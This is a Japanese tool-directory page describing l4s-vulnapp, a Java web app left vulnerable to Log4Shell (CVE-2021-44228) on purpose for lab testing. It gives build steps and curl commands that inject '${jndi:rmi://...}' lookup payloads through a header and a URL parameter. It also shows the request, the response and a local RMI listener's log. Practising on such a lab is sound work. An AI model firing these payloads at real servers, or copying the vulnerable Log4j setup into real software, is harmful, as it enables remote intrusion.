Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
l4s-vulnapp — これは、log4shell(CVE-2021-44228)の影響を受けるLog4jを含む、潜在的に脆弱なJava Webアプリケーションです。 | Kitploit
ツール/GitHubGitHub/ktokkawu/l4s-vulnapp
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubktokkawu/l4s-vulnapp

l4s-vulnapp

これは、log4shell(CVE-2021-44228)の影響を受けるLog4jを含む、潜在的に脆弱なJava Webアプリケーションです。

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Shell 脆弱なアプリケーション(l4s-vulnapp)

これは、log4shell(CVE-2021-44228) の影響を受ける Log4j(2.14.1) を含む、潜在的に脆弱な Java Web アプリケーションです。

検証済み環境と各種バージョン

  • AdoptOpenJDK 17.0.10+7
  • Gradle 8.6
  • Gretty 4.1.2
  • Apache Tomcat 10.1.15
  • Apache Log4j Core 2.14.1

準備

  • AdoptOpenJDK のzipファイルをダウンロードして解凍します。
  • PATH と JAVA_HOME 環境変数を設定します。
  • AdoptOpenJDK が正しく動作するか確認するために java --version コマンドを実行します。

[注記]
JDKのバージョンやTomcatのポートなどを変更したい場合は、build.gradle を編集してください。

ビルドと実行

build.gradle で Gradle wrapper を実行します。

root@kitploit:~
# on Linux
./gradlew appRun

# on Windows
.\gradlew.bat appRun

トップURL:

root@kitploit:~
http://localhost:8080/l4s-vulnapp/

[注記]
Log4Shell は、アプリが何らかの Log4j ロギングを実行した場合にのみ発動します。
例えば、次のURLにアクセスすると、Log4Shell が実行されます。

root@kitploit:~
http://localhost:8080/l4s-vulnapp/servlet

アクセス時に "x-param" 値を改ざんするか、"x-log" ヘッダーをHTTPリクエストに追加することで、Log4Shell を確認できます。
これらのパラメータは Log4j によってログに記録されます。
ただし、これは localhost:8081 で待ち受けサーバーが起動している場合のみです。

root@kitploit:~
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D

検証結果

  • HTTP リクエスト

    root@kitploit:~
    GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
    Host: localhost:8080
    Connection: keep-alive
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/122.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/  *;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost:8080/l4s-vulnapp/
    Accept-Encoding: gzip, deflate, br, zstd
    Accept-Language: ja,en-US;q=0.9,en;q=0.8
    
    
    
  • HTTP レスポンス

    root@kitploit:~
    HTTP/1.1 200
    Content-Type: text/plain;charset=utf-8
    Content-Length: 62
    Date: Fri, 15 Mar 2024 18:42:56 GMT
    Keep-Alive: timeout=60
    Connection: keep-alive
    
    Hello
    Logging to console using vulnerable Log4j2 by parameter
    
  • l4s-vulnapp による RMI リクエスト

    root@kitploit:~
    2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
    2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
    2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
    2024/03/16 03:42:55: [Hex data] ===== start =====
    2024/03/16 03:42:56: 00000000   4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00  JRMI..K.........
    2024/03/16 03:42:56: 00000010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    2024/03/16 03:42:56: [Hex data] =====  end  =====
    2024/03/16 03:42:56: [Raw data] ===== start =====
    2024/03/16 03:42:56: JRMI
    2024/03/16 03:42:56: [Raw data] =====  end  =====
    

オプション

l4s-ls.ps1 は待ち受けサーバーを起動します。このスクリプトを Windows PowerShell/コマンドプロンプトで実行してください。
このサーバーは LDAP や RMI などのバイナリ通信を受信し、その通信内容を Hex と Raw で表示できます。
スクリプトが誤動作した場合は、Ctrl + C で停止してください。

[注意]
このスクリプトを初めて実行するときは、Windowsのポップアップで "プライベートネットワーク" を選択する必要があります。

root@kitploit:~
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081

参照

  • GitHub - tothi/log4shell-vulnerable-app
  • ももいろテクノロジー - PowerShellでnc(netcat)を書いてみる (2015/4/16)
ツールをダウンロード